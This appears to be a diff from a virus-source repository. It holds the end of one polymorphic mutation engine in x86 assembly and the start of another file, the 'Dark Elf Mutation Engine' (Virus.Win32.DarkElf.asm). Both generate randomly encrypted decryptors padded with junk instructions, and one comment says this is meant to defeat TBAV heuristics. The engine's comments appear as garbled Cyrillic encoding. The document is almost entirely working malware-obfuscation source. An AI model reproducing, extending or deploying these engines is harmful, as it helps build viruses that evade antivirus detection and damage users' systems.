||||||
|
mov al,B index_reg
|
||||||
|
or al,40
|
||||||
|
stosb
|
||||||
|
call pad_8
|
||||||
|
stosb
|
||||||
|
ret
|
||||||
|
|
||||||
|
add_sub_index:
|
||||||
|
mov al,83
|
||||||
|
stosb
|
||||||
|
mov ah,2
|
||||||
|
mov al,B index_reg
|
||||||
|
or al,0c0
|
||||||
|
|
||||||
|
call binary
|
||||||
|
jnz put_add_sub_index
|
||||||
|
|
||||||
|
neg ah
|
||||||
|
or al,0e8
|
||||||
|
|
||||||
|
put_add_sub_index:
|
||||||
|
stosw
|
||||||
|
ret
|
||||||
|
|
||||||
|
gen_loop:
|
||||||
|
mov al,B count_reg
|
||||||
|
cmp al,tce_CX
|
||||||
|
jne not_CX
|
||||||
|
|
||||||
|
push ax
|
||||||
|
call get_rand_7
|
||||||
|
pop ax
|
||||||
|
jz not_CX
|
||||||
|
|
||||||
|
lea bx,[di+2]
|
||||||
|
mov ax,W loop_start
|
||||||
|
sub ax,bx
|
||||||
|
mov ah,0e2
|
||||||
|
call binary
|
||||||
|
jnz no_loop_nz
|
||||||
|
xchg bp,ax
|
||||||
|
jmp short do_loop_nz
|
||||||
|
|
||||||
|
no_loop_nz:
|
||||||
|
xchg ah,al
|
||||||
|
stosw
|
||||||
|
ret
|
||||||
|
|
||||||
|
not_CX: xchg bx,ax
|
||||||
|
|
||||||
|
call binary
|
||||||
|
jz count_add_sub
|
||||||
|
|
||||||
|
mov al,48
|
||||||
|
or al,bl
|
||||||
|
stosb
|
||||||
|
jmp short zero_test
|
||||||
|
|
||||||
|
|
||||||
|
count_add_sub:
|
||||||
|
mov al,83
|
||||||
|
stosb
|
||||||
|
mov ah,-1
|
||||||
|
mov al,bl
|
||||||
|
or al,0c0
|
||||||
|
|
||||||
|
call binary
|
||||||
|
jnz put_add_sub_count
|
||||||
|
|
||||||
|
neg ah
|
||||||
|
or al,0e8
|
||||||
|
|
||||||
|
put_add_sub_count:
|
||||||
|
stosw
|
||||||
|
xor bp,bp
|
||||||
|
push ax
|
||||||
|
call get_rand_7
|
||||||
|
pop ax
|
||||||
|
jz nloop_nz
|
||||||
|
|
||||||
|
zero_test:
|
||||||
|
call pad_10
|
||||||
|
xor bp,bp
|
||||||
|
do_loop_nz:
|
||||||
|
mov al,B count_reg
|
||||||
|
mov bl,al
|
||||||
|
sal al,3
|
||||||
|
or al,bl
|
||||||
|
xchg ah,al
|
||||||
|
mov bh,ah
|
||||||
|
call get_rand_2
|
||||||
|
add ax,offset zero_test_a
|
||||||
|
xchg si,ax
|
||||||
|
lodsb
|
||||||
|
mov ah,bh
|
||||||
|
or ah,0c0
|
||||||
|
stosw
|
||||||
|
|
||||||
|
nloop_nz:
|
||||||
|
lea bx,[di+2]
|
||||||
|
mov ax,W loop_start
|
||||||
|
sub ax,bx
|
||||||
|
or bp,bp
|
||||||
|
jnz loop_nz
|
||||||
|
mov ah,075
|
||||||
|
call binary
|
||||||
|
jnz nnnn
|
||||||
|
mov B es:[di],0f8
|
||||||
|
inc di
|
||||||
|
sub ax,0fe01
|
||||||
|
db 0a9
|
||||||
|
|
||||||
|
loop_nz:mov ah,0e0
|
||||||
|
|
||||||
|
|
||||||
|
nnnn: xchg ah,al
|
||||||
|
stosw
|
||||||
|
ret
|
||||||
|
|
||||||
|
init_key:
|
||||||
|
call get_any_rand
|
||||||
|
mov W enc_key,ax
|
||||||
|
xchg bx,ax
|
||||||
|
call get_unused_reg
|
||||||
|
mov B key_reg,al
|
||||||
|
|
||||||
|
gen_mov_reg:
|
||||||
|
call binary
|
||||||
|
jz lea_mov
|
||||||
|
|
||||||
|
or al,0b8
|
||||||
|
stosb
|
||||||
|
xchg ax,bx
|
||||||
|
jmp short put_mov_b
|
||||||
|
|
||||||
|
lea_mov:call binary
|
||||||
|
jz zero_then_add
|
||||||
|
|
||||||
|
sal al,3
|
||||||
|
or al,06
|
||||||
|
mov ah,8d
|
||||||
|
xchg ah,al
|
||||||
|
stosw
|
||||||
|
xchg ax,bx
|
||||||
|
jmp short put_mov_b
|
||||||
|
|
||||||
|
zero_then_add: ;Zero Register (XOR/SUB reg,reg)
|
||||||
|
push bx ;Then OR/XOR/ADD Value
|
||||||
|
push ax ;or SUB -Value
|
||||||
|
mov ah,0c0
|
||||||
|
or ah,al
|
||||||
|
sal al,3
|
||||||
|
or ah,al
|
||||||
|
mov al,29
|
||||||
|
call binary
|
||||||
|
if z mov al,31
|
||||||
|
stosw
|
||||||
|
call pad_10
|
||||||
|
pop bx
|
||||||
|
call get_rand_2
|
||||||
|
add ax,offset value_from_0
|
||||||
|
xchg si,ax
|
||||||
|
lodsb
|
||||||
|
call binary
|
||||||
|
jz zero_then_sub
|
||||||
|
|
||||||
|
or al,bl
|
||||||
|
mov ah,81
|
||||||
|
xchg ah,al
|
||||||
|
stosw
|
||||||
|
pop ax
|
||||||
|
|
||||||
|
put_mov_b:
|
||||||
|
cmp B index_set,01
|
||||||
|
if e mov W index_loc,di
|
||||||
|
stosw
|
||||||
|
ret
|
||||||
|
|
||||||
|
zero_then_sub:
|
||||||
|
cmp B index_set,01
|
||||||
|
if e mov B index_sub,1
|
||||||
|
mov al,0e8
|
||||||
|
or al,bl
|
||||||
|
mov ah,81
|
||||||
|
xchg ah,al
|
||||||
|
stosw
|
||||||
|
pop ax
|
||||||
|
neg ax
|
||||||
|
jmp short put_mov_b
|
||||||
|
|
||||||
|
pad_8: push ax ;Sub Procedure to Pad Between 1 and 8 bytes
|
||||||
|
call get_rand_7
|
||||||
|
inc ax
|
||||||
|
jmp short padder
|
||||||
|
|
||||||
|
pad_10: push ax
|
||||||
|
call get_rand_1f ;Sub Procedure to Pad Between 8 and 16 bytes
|
||||||
|
or al,8
|
||||||
|
padder: xchg cx,ax
|
||||||
|
call more_junk
|
||||||
|
pop ax
|
||||||
|
ret
|
||||||
|
|
||||||
|
|
||||||
|
more_junk:
|
||||||
|
mov al,03
|
||||||
|
call get_rand_b
|
||||||
|
jnz mj0
|
||||||
|
|
||||||
|
mov B [offset code_jmp],083 ;Re-Enable Jumps
|
||||||
|
mov ax,cx ;else normal filler junk (1 in 16)
|
||||||
|
cmp ax,40
|
||||||
|
if a mov al,40
|
||||||
|
call get_rand_b
|
||||||
|
xchg bx,ax
|
||||||
|
call fill_jnk
|
||||||
|
jmp short mj2
|
||||||
|
|
||||||
|
mj0: ;8 in 16 chance of some type of jump
|
||||||
|
call code_jmp
|
||||||
|
|
||||||
|
|
||||||
|
mj2: jcxz ret
|
||||||
|
jmp short more_junk
|
||||||
|
|
||||||
|
|
||||||
|
one_byte: ;GENERATES A ONE BYTE JUNK INSTRUCTION
|
||||||
|
jcxz ret
|
||||||
|
mov si,one_byters ;FROM one_byters TABLE
|
||||||
|
mov al,length_1
|
||||||
|
call get_rand_b
|
||||||
|
add si,ax
|
||||||
|
movsb
|
||||||
|
dec cx
|
||||||
|
dec bx
|
||||||
|
ret
|
||||||
|
|
||||||
|
reg_op: call get_rand_7 ;ANY OP unused_reg16,reg16..
|
||||||
|
sal al,3
|
||||||
|
or al,3
|
||||||
|
xchg dx,ax
|
||||||
|
call get_unused_reg
|
||||||
|
sal al,3
|
||||||
|
mov dh,al
|
||||||
|
call get_rand_7
|
||||||
|
do_op: or dh,al
|
||||||
|
or dh,0c0
|
||||||
|
xchg dx,ax
|
||||||
|
put_2: cmp bx,2
|
||||||
|
jb one_byte
|
||||||
|
stosw
|
||||||
|
dec cx,2
|
||||||
|
dec bx,2
|
||||||
|
ret
|
||||||
|
|
||||||
|
|
||||||
|
lea_reg:call get_rand_7 ;LEA unused_reg,[BP/BX/SI/DI]
|
||||||
|
cmp al,6
|
||||||
|
je lea_reg
|
||||||
|
|
||||||
|
xchg dx,ax
|
||||||
|
call get_unused_reg
|
||||||
|
sal al,3
|
||||||
|
or al,dl
|
||||||
|
mov ah,08d
|
||||||
|
xchg ah,al
|
||||||
|
|
||||||
|
jmp short put_2
|
||||||
|
|
||||||
|
op_ax: call get_any_rand
|
||||||
|
and al,8
|
||||||
|
or al,5
|
||||||
|
and ah,3
|
||||||
|
shr ah,4
|
||||||
|
or al,ah
|
||||||
|
|
||||||
|
put_3: cmp bx,3
|
||||||
|
jb reg_op
|
||||||
|
stosb
|
||||||
|
call get_any_rand
|
||||||
|
put_3b: stosw
|
||||||
|
sub cx,3
|
||||||
|
sub bx,3
|
||||||
|
ret
|
||||||
|
|
||||||
|
mov_reg:call get_unused_reg ;MOV unused_reg16,xxxx
|
||||||
|
or al,0b8
|
||||||
|
jmp short put_3
|
||||||
|
|
||||||
|
|
||||||
|
op_reg_im: ;cmp/add/sub/adc/sbb/or/xor/and reg16,imm16
|
||||||
|
cmp bx,4
|
||||||
|
jb op_ax
|
||||||
|
call get_unused_reg
|
||||||
|
mov ah,81
|
||||||
|
xchg dx,ax
|
||||||
|
call get_rand_7
|
||||||
|
sal al,3
|
||||||
|
or ax,dx
|
||||||
|
xchg ah,al
|
||||||
|
or ah,0c0
|
||||||
|
stosw
|
||||||
|
call get_any_rand
|
||||||
|
stosw
|
||||||
|
sub bx,4
|
||||||
|
sub cx,4
|
||||||
|
ret
|
||||||
|
|
||||||
|
|
||||||
|
code_jmp:
|
||||||
|
cmp cx,3
|
||||||
|
jb ret
|
||||||
|
|
||||||
|
mov B [offset code_jmp],0c3 ;Disable Jumps.This ensures Unchained
|
||||||
|
;(TBAV-J) and helps stops heuristics
|
||||||
|
call get_any_rand ;else conditional jmp
|
||||||
|
and ax,1f0f ;between 4 and 43 bytse jmp length
|
||||||
|
add ah,4
|
||||||
|
or al,70 ;conditional jmp instructions are 70
|
||||||
|
;--> 7f
|
||||||
|
push ax
|
||||||
|
call get_rand_1f
|
||||||
|
pop ax
|
||||||
|
if z mov al,0e3
|
||||||
|
xor bx,bx
|
||||||
|
mov bl,ah
|
||||||
|
|
||||||
|
dec cx,2
|
||||||
|
cmp bx,cx
|
||||||
|
jb put_jmp
|
||||||
|
mov bx,cx
|
||||||
|
mov ah,bl
|
||||||
|
|
||||||
|
put_jmp:stosw
|
||||||
|
|
||||||
|
fill_jnk:
|
||||||
|
or bx,bx
|
||||||
|
jz ret
|
||||||
|
|
||||||
|
mov al,((offset binary - offset junk_tbl)/2)-1
|
||||||
|
call get_rand_b
|
||||||
|
add ax,ax
|
||||||
|
add ax,offset junk_tbl
|
||||||
|
xchg si,ax
|
||||||
|
lodsw
|
||||||
|
call ax
|
||||||
|
jmp short fill_jnk
|
||||||
|
|
||||||
|
|
||||||
|
pp_reg: ;generate PUSH reg / junk / POP reg
|
||||||
|
cmp bx,3
|
||||||
|
jb gen_int
|
||||||
|
|
||||||
|
lea ax,[bx-2]
|
||||||
|
shr ax,1
|
||||||
|
call get_rand
|
||||||
|
xchg ax,dx
|
||||||
|
call get_rand_7
|
||||||
|
or al,50
|
||||||
|
stosb
|
||||||
|
dec cx
|
||||||
|
dec bx
|
||||||
|
push ax
|
||||||
|
xchg dx,ax
|
||||||
|
sub bx,ax
|
||||||
|
push bx
|
||||||
|
xchg bx,ax
|
||||||
|
call fill_jnk
|
||||||
|
pop bx
|
||||||
|
pop ax
|
||||||
|
|
||||||
|
call binary
|
||||||
|
jz use_same
|
||||||
|
call get_unused_reg
|
||||||
|
or al,50
|
||||||
|
|
||||||
|
use_same:
|
||||||
|
or al,8
|
||||||
|
stosb
|
||||||
|
dec cx
|
||||||
|
dec bx
|
||||||
|
ret
|
||||||
|
|
||||||
|
|
||||||
|
gen_int:cmp bx,4
|
||||||
|
jb ret
|
||||||
|
|
||||||
|
call get_rand_2
|
||||||
|
|
||||||
|
add ax,ax
|
||||||
|
add ax,offset int_tbl
|
||||||
|
xchg si,ax
|
||||||
|
lodsw
|
||||||
|
mov dx,0cdb4
|
||||||
|
xchg al,dl
|
||||||
|
stosw
|
||||||
|
xchg dx,ax
|
||||||
|
xchg ah,al
|
||||||
|
stosw
|
||||||
|
sub cx,4
|
||||||
|
sub bx,4
|
||||||
|
ret
|
||||||
|
|
||||||
|
junk_tbl: dw offset op_reg_im
|
||||||
|
dw offset op_reg_im
|
||||||
|
dw offset op_reg_im
|
||||||
|
dw offset gen_int
|
||||||
|
dw offset gen_int
|
||||||
|
dw offset pp_reg
|
||||||
|
dw offset pp_reg
|
||||||
|
dw offset reg_op
|
||||||
|
dw offset reg_op
|
||||||
|
dw offset lea_reg
|
||||||
|
dw offset lea_reg
|
||||||
|
dw offset mov_reg
|
||||||
|
dw offset op_ax
|
||||||
|
dw offset one_byte
|
||||||
|
|
||||||
|
binary: push ax
|
||||||
|
mov al,1
|
||||||
|
call get_rand_b
|
||||||
|
pop ax
|
||||||
|
ret
|
||||||
|
|
||||||
|
get_rand_2:
|
||||||
|
mov al,2
|
||||||
|
db 0a9
|
||||||
|
|
||||||
|
get_rand_7:
|
||||||
|
mov al,7
|
||||||
|
db 0a9
|
||||||
|
|
||||||
|
get_rand_1f:
|
||||||
|
mov al,1f
|
||||||
|
db 0a9
|
||||||
|
|
||||||
|
get_any_rand: ;return rnd number in AX between 0 and FFFE
|
||||||
|
mov al,0fe
|
||||||
|
|
||||||
|
get_rand_b:
|
||||||
|
cbw
|
||||||
|
|
||||||
|
get_rand: ;returns random number in AX between 0 and AX
|
||||||
|
push cx,dx
|
||||||
|
inc ax
|
||||||
|
push ax
|
||||||
|
in ax,40
|
||||||
|
xchg cx,ax
|
||||||
|
in ax,40
|
||||||
|
rol ax,cl
|
||||||
|
xchg cx,ax
|
||||||
|
in ax,40
|
||||||
|
xor ax,cx
|
||||||
|
adc ax,1234
|
||||||
|
org $-2
|
||||||
|
last_rand dw 0AAAA
|
||||||
|
mov last_rand,ax
|
||||||
|
pop cx
|
||||||
|
xor dx,dx
|
||||||
|
cmp cx,1
|
||||||
|
adc cx,0
|
||||||
|
div cx
|
||||||
|
xchg dx,ax
|
||||||
|
or ax,ax
|
||||||
|
pop dx,cx
|
||||||
|
ret
|
||||||
|
|
||||||
|
one_byters: cmc ;15 1 byte junk instructions
|
||||||
|
cld
|
||||||
|
std
|
||||||
|
in ax,dx
|
||||||
|
in al,dx
|
||||||
|
lahf
|
||||||
|
cbw
|
||||||
|
nop
|
||||||
|
aaa
|
||||||
|
aas
|
||||||
|
daa
|
||||||
|
das
|
||||||
|
inc ax
|
||||||
|
dec ax
|
||||||
|
xlat
|
||||||
|
|
||||||
|
|
||||||
|
int_tbl: dw 0116 ;AH=01,INT16: Check Keyboard Buffer..
|
||||||
|
dw 0216 ;AH=02,INT16: Get Keyboard States..
|
||||||
|
dw 4d21 ;AH=4D,INT21: Get Program Terminate Status..
|
||||||
|
dw 4d21 ;AH=4D,INT21: Get Program Terminate Status..
|
||||||
|
dw 0d10 ;AH=0D,INT10: Get Video Info..
|
||||||
|
dw 0b21 ;AH=0B,INT21: Check Keyboard Buffer..
|
||||||
|
dw 002a
|
||||||
|
dw 002a
|
||||||
|
|
||||||
|
|
||||||
|
clear_regs: cwd
|
||||||
|
mov B index_reg,dl ;Clears Register Tables
|
||||||
|
mov B key_reg,dl ;(All Regs Free)..
|
||||||
|
mov B count_reg,dl
|
||||||
|
ret
|
||||||
|
|
||||||
|
get_unused_reg: call get_rand_7 ;Return an Unused Register..
|
||||||
|
test al,NOT tce_SP ;But _NOT_ SP, or AX.
|
||||||
|
jz get_unused_reg
|
||||||
|
cmp al,index_reg
|
||||||
|
je get_unused_reg
|
||||||
|
cmp al,count_reg
|
||||||
|
je get_unused_reg
|
||||||
|
cmp al,B key_reg
|
||||||
|
je get_unused_reg
|
||||||
|
ret
|
||||||
|
|
||||||
|
|
||||||
|
;**********************************************
|
||||||
|
;* The Encryptor (Built along with Decryptor) *
|
||||||
|
;**********************************************
|
||||||
|
encryptor: mov cx,1234
|
||||||
|
org $-2
|
||||||
|
enc_length dw 0
|
||||||
|
|
||||||
|
mov bx,1234
|
||||||
|
org $-2
|
||||||
|
enc_index dw 0
|
||||||
|
|
||||||
|
mov ax,1234
|
||||||
|
org $-2
|
||||||
|
enc_key dw 0
|
||||||
|
|
||||||
|
enc_cf: nop
|
||||||
|
enc_loop: xor [bx],ax
|
||||||
|
|
||||||
|
enc_mod_op dw 0
|
||||||
|
enc_mod_val dw 0
|
||||||
|
|
||||||
|
inc bx,2
|
||||||
|
loop enc_cf
|
||||||
|
ret
|
||||||
|
|
||||||
|
;****************************
|
||||||
|
;* Data / Variables / Flags *
|
||||||
|
;****************************
|
||||||
|
|
||||||
|
init_1 dw offset init_count
|
||||||
|
init_2 dw offset init_key
|
||||||
|
init_3 dw offset init_index
|
||||||
|
|
||||||
|
init_4 dw offset inc_index
|
||||||
|
init_5 dw offset modify_key
|
||||||
|
|
||||||
|
;* The Below is A table of Values to Be Used To Choose *
|
||||||
|
;* The Count Register, The Index Register, and The Reg *
|
||||||
|
;* to save SP in During the Decryptor Loop *
|
||||||
|
; BX BP SI DI ;This Table is used To Build
|
||||||
|
index_tab_b: db 0,0,0,47,0,46,44,45 ;The Decryptor Instruction
|
||||||
|
index_tab_c: db 0,0,0,7,0,0,4,5 ;Same As Above
|
||||||
|
; SBB ADC XOR XOR ADD SUB
|
||||||
|
enc_table: db 19, 11, 31, 31, 01, 29 ;The Decryptor Opcodes..
|
||||||
|
|
||||||
|
; AND OR TEST
|
||||||
|
zero_test_a: db 21, 09,85
|
||||||
|
|
||||||
|
; SUB ;Opcodes to Modify the Key
|
||||||
|
modify_table: db 0e8 ;Register
|
||||||
|
; ADD XOR OR ;Opcode to get A value
|
||||||
|
value_from_0: db 0c0,0f0,0c8 ;from 0.
|
||||||
|
|
||||||
|
loop_start dw 0 ;Postion for LOOP to Jump to..
|
||||||
|
|
||||||
|
index_num dw 0
|
||||||
|
index_off db 0 ;OFFSET of INDEX reference (i.e: [SI+XX]).
|
||||||
|
index_loc dw 0 ;location in ES of index reference set
|
||||||
|
index_sub db 0 ;Was index_reg set using 0 the sub -value?
|
||||||
|
|
||||||
|
index_reg db 0 ;Table of Used Registers..
|
||||||
|
count_reg db 0 ;used in GET_UNUSED_REG
|
||||||
|
key_reg db 0
|
||||||
|
index_set db 0
|
||||||
|
|
||||||
|
tce_flags dw 0 ;Engines Flags
|
||||||
|
tce_delta dw 0 ;Delta Offset
|
||||||
|
tce_begin dw 0 ;Beginning
|
||||||
|
c_length dw 0
|
||||||
|
end_tce:
|
||||||
|
|
821
Engines/Virus.Win32.DarkElf.asm
Normal file
821
Engines/Virus.Win32.DarkElf.asm
Normal file
@ -0,0 +1,821 @@
|
|||||||
|
; ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
|
||||||
|
; ³ Dark Elf Mutation Engine [DEME] v1.1 CopyLeft (cl) MSTUdent 1996 ³
|
||||||
|
; ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
|
||||||
|
;
|
||||||
|
;¯®¤¯à®£à ¬¬ë :
|
||||||
|
; DEME - á ¬ Mutation ¨ ¥áâì
|
||||||
|
; Randomize - î§ ¥â ¯®àâ 40h
|
||||||
|
; RND - AX = RND(65536)
|
||||||
|
|
||||||
|
PUSHSTATE
|
||||||
|
IDEAL
|
||||||
|
LOCALS @@
|
||||||
|
DEME_MaxDecoderLen=1500
|
||||||
|
proc DEME
|
||||||
|
;<3B> à ¬¥âàë :
|
||||||
|
;es:di - ¤à¥á ¡ãä¥à , ¢ ª®â®àë© ¡ã¤¥â § ¯¨á १ã«ìâ â
|
||||||
|
; à §¬¥à_¡ãä¥à = à §¬¥à_¨á室®£®_ª®¤ + 1500
|
||||||
|
;ds:si - ¤à¥á ª®¤ , ª®â®àë© ¥®¡å®¤¨¬® § è¨ä஢ âì
|
||||||
|
;dx - ¤à¥á ¯à¨¢ï§ª¨ à áè¨ä஢騪 (¯®¤®¡® ORG xxxx)
|
||||||
|
;bx - à §¬¥à ¨á室®£® ª®¤ (¢ ¡ ©â å)
|
||||||
|
;‚®§¢à é ¥â :
|
||||||
|
;cx - ¤«¨ ¯®«ã祮£® ª®¤ (¢ ¡ ©â å)
|
||||||
|
pushf
|
||||||
|
push bx di si ds
|
||||||
|
push cs
|
||||||
|
pop ds
|
||||||
|
cld
|
||||||
|
inc bx
|
||||||
|
shr bx,1
|
||||||
|
mov [DEME_CodeLen],bx
|
||||||
|
mov [DEME_Origin],dx
|
||||||
|
mov [DEME_BuffOffs],di
|
||||||
|
call Randomize
|
||||||
|
call DEME_ChooseRegs
|
||||||
|
call DEME_GenProlog
|
||||||
|
call DEME_GenCrypt
|
||||||
|
call DEME_GenEpilog
|
||||||
|
pop ds si
|
||||||
|
call DEME_Encode
|
||||||
|
mov cx,di
|
||||||
|
pop di bx
|
||||||
|
sub cx,di
|
||||||
|
popf
|
||||||
|
ret
|
||||||
|
endp DEME
|
||||||
|
|
||||||
|
R_AX=00000000b
|
||||||
|
R_CX=00000001b
|
||||||
|
R_DX=00000010b
|
||||||
|
R_BX=00000011b
|
||||||
|
R_SP=00000100b
|
||||||
|
R_BP=00000101b
|
||||||
|
R_SI=00000110b
|
||||||
|
R_DI=00000111b
|
||||||
|
|
||||||
|
M_AX=00000001b
|
||||||
|
M_CX=00000010b
|
||||||
|
M_DX=00000100b
|
||||||
|
M_BX=00001000b
|
||||||
|
M_SP=00010000b
|
||||||
|
M_BP=00100000b
|
||||||
|
M_SI=01000000b
|
||||||
|
M_DI=10000000b
|
||||||
|
M_INDEX=M_BX+M_SI+M_DI
|
||||||
|
M_ALL=M_AX+M_CX+M_DX+M_BX+M_BP+M_SI+M_DI
|
||||||
|
|
||||||
|
DEME_ID db '[DEME] Dark Elf Mutation Engine v1.1',0
|
||||||
|
DEME_CopyLeft db 'CopyLeft (cl) MSTUdent',0
|
||||||
|
DEME_Date db ??date,0,??time,0
|
||||||
|
|
||||||
|
proc DEME_Encode near
|
||||||
|
push ax bx cx dx si
|
||||||
|
mov cx,[DEME_CodeLen]
|
||||||
|
mov dx,[DEME_Key]
|
||||||
|
@@1:
|
||||||
|
lodsw
|
||||||
|
xor ax,dx
|
||||||
|
stosw
|
||||||
|
add dx,[DEME_KeyAdd]
|
||||||
|
loop @@1
|
||||||
|
pop si dx cx bx ax
|
||||||
|
ret
|
||||||
|
endp DEME_Encode
|
||||||
|
|
||||||
|
proc DEME_ChooseRegs near
|
||||||
|
push ax
|
||||||
|
mov [DEME_MaskUsed],M_SP
|
||||||
|
mov al,M_INDEX
|
||||||
|
call DEME_GetAnyReg
|
||||||
|
mov [DEME_RegIndex],ax
|
||||||
|
mov al,M_ALL
|
||||||
|
call DEME_GetAnyReg
|
||||||
|
mov [DEME_RegCounter],ax
|
||||||
|
mov al,M_ALL
|
||||||
|
call DEME_GetAnyReg
|
||||||
|
mov [DEME_RegKey],ax
|
||||||
|
pop ax
|
||||||
|
ret
|
||||||
|
endp DEME_ChooseRegs
|
||||||
|
|
||||||
|
|
||||||
|
proc DEME_GenProlog near
|
||||||
|
push ax bx cx dx
|
||||||
|
call DEME_GenRandomSeq
|
||||||
|
call DEME_GenAntiWeb
|
||||||
|
|
||||||
|
mov bx,offset DEME_GenLoadIndex
|
||||||
|
mov cx,offset DEME_GenLoadKey
|
||||||
|
mov dx,offset DEME_GenLoadCounter
|
||||||
|
|
||||||
|
call DEME_MixRegs
|
||||||
|
call DEME_GenRandomSeq
|
||||||
|
call bx
|
||||||
|
call DEME_GenRandomSeq
|
||||||
|
call dx
|
||||||
|
call DEME_GenRandomSeq
|
||||||
|
call cx
|
||||||
|
call DEME_GenRandomSeq
|
||||||
|
|
||||||
|
pop dx cx bx ax
|
||||||
|
ret
|
||||||
|
endp DEME_GenProlog
|
||||||
|
|
||||||
|
|
||||||
|
proc DEME_GenAntiWeb
|
||||||
|
push ax bx cx
|
||||||
|
mov cl,[DEME_MaskUsed]
|
||||||
|
test cl,M_AX
|
||||||
|
je @@1
|
||||||
|
mov al,050h
|
||||||
|
stosb
|
||||||
|
call DEME_GenRandomSeq
|
||||||
|
@@1:
|
||||||
|
or [DEME_MaskUsed],M_AX
|
||||||
|
mov ax,41e4h
|
||||||
|
stosw
|
||||||
|
call DEME_GenRandomSeq
|
||||||
|
mov ax,1100010010001000b
|
||||||
|
stosw
|
||||||
|
call DEME_GenRandomSeq
|
||||||
|
mov ax,41e4h
|
||||||
|
stosw
|
||||||
|
call DEME_GenRandomSeq
|
||||||
|
mov ax,1100010000110000b
|
||||||
|
stosw
|
||||||
|
mov al,01110101b
|
||||||
|
stosw
|
||||||
|
mov bx,di
|
||||||
|
call DEME_GenRandomSeq
|
||||||
|
mov ax,4cb4h
|
||||||
|
stosw
|
||||||
|
mov ax,21cdh
|
||||||
|
stosw
|
||||||
|
call DEME_GenRandomSeq
|
||||||
|
mov ax,di
|
||||||
|
sub ax,bx
|
||||||
|
mov [es:bx-1],al
|
||||||
|
|
||||||
|
test cl,M_AX
|
||||||
|
je @@2
|
||||||
|
mov al,058h
|
||||||
|
stosb
|
||||||
|
call DEME_GenRandomSeq
|
||||||
|
@@2:
|
||||||
|
mov [DEME_MaskUsed],cl
|
||||||
|
pop cx bx ax
|
||||||
|
ret
|
||||||
|
endp DEME_GenAntiWeb
|
||||||
|
|
||||||
|
|
||||||
|
proc DEME_GenLoadIndex near
|
||||||
|
push ax
|
||||||
|
mov ax,[DEME_RegIndex]
|
||||||
|
or al,10111000b
|
||||||
|
stosb
|
||||||
|
mov [DEME_AddrBeg],di
|
||||||
|
stosw
|
||||||
|
pop ax
|
||||||
|
ret
|
||||||
|
endp DEME_GenLoadIndex
|
||||||
|
|
||||||
|
proc DEME_GenLoadKey near
|
||||||
|
push ax bx
|
||||||
|
call RND
|
||||||
|
mov bx,ax
|
||||||
|
mov [DEME_Key],ax
|
||||||
|
mov ax,[DEME_RegKey]
|
||||||
|
call DEME_GenLoadReg16
|
||||||
|
pop bx ax
|
||||||
|
ret
|
||||||
|
endp DEME_GenLoadKey
|
||||||
|
|
||||||
|
proc DEME_GenLoadCounter near
|
||||||
|
push ax bx
|
||||||
|
mov ax,[DEME_RegCounter]
|
||||||
|
mov bx,[DEME_CodeLen]
|
||||||
|
call DEME_GenLoadReg16
|
||||||
|
pop bx ax
|
||||||
|
ret
|
||||||
|
endp DEME_GenLoadCounter
|
||||||
|
|
||||||
|
proc DEME_GenCrypt near
|
||||||
|
push ax bx cx dx
|
||||||
|
mov [DEME_LoopAddr],di
|
||||||
|
|
||||||
|
call DEME_GenRandomSeq
|
||||||
|
call DEME_GenXorCmd
|
||||||
|
|
||||||
|
mov dx,offset DEME_GenIncIndex
|
||||||
|
mov bx,offset DEME_GenAddKey
|
||||||
|
mov cx,offset DEME_GenDecCounter
|
||||||
|
call DEME_MixRegs
|
||||||
|
call DEME_GenRandomSeq
|
||||||
|
call bx
|
||||||
|
call DEME_GenRandomSeq
|
||||||
|
call dx
|
||||||
|
call DEME_GenRandomSeq
|
||||||
|
call cx
|
||||||
|
call DEME_GenRandomSeq
|
||||||
|
call DEME_GenCloseCycle
|
||||||
|
call DEME_GenRandomSeq
|
||||||
|
pop dx cx bx ax
|
||||||
|
ret
|
||||||
|
endp DEME_GenCrypt
|
||||||
|
|
||||||
|
proc DEME_GenXorCmd near
|
||||||
|
push ax bx
|
||||||
|
mov al,2eh
|
||||||
|
stosb
|
||||||
|
mov al,00110001b
|
||||||
|
stosb
|
||||||
|
mov bx,[DEME_RegIndex]
|
||||||
|
cmp bx,R_BX
|
||||||
|
jne @@1
|
||||||
|
mov al,00000111b
|
||||||
|
@@1:
|
||||||
|
cmp bx,R_SI
|
||||||
|
jne @@2
|
||||||
|
mov al,00000100b
|
||||||
|
@@2:
|
||||||
|
cmp bx,R_DI
|
||||||
|
jne @@3
|
||||||
|
mov al,00000101b
|
||||||
|
@@3:
|
||||||
|
mov bx,[DEME_RegKey]
|
||||||
|
shl bl,3
|
||||||
|
or al,bl
|
||||||
|
stosb
|
||||||
|
pop bx ax
|
||||||
|
ret
|
||||||
|
endp DEME_GenXorCmd
|
||||||
|
|
||||||
|
proc DEME_GenIncIndex near
|
||||||
|
push ax bx
|
||||||
|
mov bx,[DEME_RegIndex]
|
||||||
|
call RND
|
||||||
|
and ax,3
|
||||||
|
or al,al
|
||||||
|
jne @@1
|
||||||
|
mov al,01000000b
|
||||||
|
or al,bl
|
||||||
|
stosb
|
||||||
|
stosb
|
||||||
|
jmp @@Exit
|
||||||
|
@@1:
|
||||||
|
dec al
|
||||||
|
jne @@2
|
||||||
|
mov al,10000001b
|
||||||
|
stosb
|
||||||
|
mov al,11000000b
|
||||||
|
or al,bl
|
||||||
|
stosb
|
||||||
|
mov ax,2
|
||||||
|
stosw
|
||||||
|
jmp @@Exit
|
||||||
|
@@2:
|
||||||
|
dec al
|
||||||
|
jne @@3
|
||||||
|
mov al,10000001b
|
||||||
|
stosb
|
||||||
|
mov al,11101000b
|
||||||
|
or al,bl
|
||||||
|
stosb
|
||||||
|
mov ax,-2
|
||||||
|
stosw
|
||||||
|
jmp @@Exit
|
||||||
|
@@3:
|
||||||
|
call DEME_GetUnusedReg
|
||||||
|
mov bx,2
|
||||||
|
call DEME_GenLoadReg16
|
||||||
|
mov bx,[DEME_RegIndex]
|
||||||
|
mov bh,al
|
||||||
|
shl bh,3
|
||||||
|
mov al,00000001b
|
||||||
|
stosb
|
||||||
|
mov al,11000000b
|
||||||
|
or al,bl
|
||||||
|
or al,bh
